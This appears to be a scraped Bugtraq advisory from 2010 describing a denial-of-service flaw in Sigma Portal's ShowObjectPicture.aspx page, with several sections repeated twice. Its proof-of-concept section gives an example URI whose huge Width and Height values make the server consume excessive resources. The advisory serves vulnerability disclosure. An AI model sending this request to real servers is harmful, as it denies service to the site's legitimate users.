Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
BID:45588
Info
Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
| Bugtraq ID: | 45588 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 27 2010 12:00AM |
| Updated: | Dec 27 2010 12:00AM |
| Credit: | Pouya Daneshmand from Securitylab.ir |
| Vulnerable: |
Sigma Sigma Portal 0 |
| Not Vulnerable: | |
Discussion
Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
Sigma Portal is prone to a denial-of-service vulnerability.
Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users.
Sigma Portal is prone to a denial-of-service vulnerability.
Attackers can exploit this issue to cause the server to consume excessive resources, denying service to legitimate users.
Exploit / POC
Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
The following example URI is available:
http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID)
The following example URI is available:
http://www.example.com/Portal/Picture/ShowObjectPicture.aspx?Width=%27910000&Height=1099000-=&ObjectType=News&ObjectID=(Picture ID)
Solution / Fix
Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Sigma Portal 'ShowObjectPicture.aspx' Denial of Service Vulnerability
References:
References: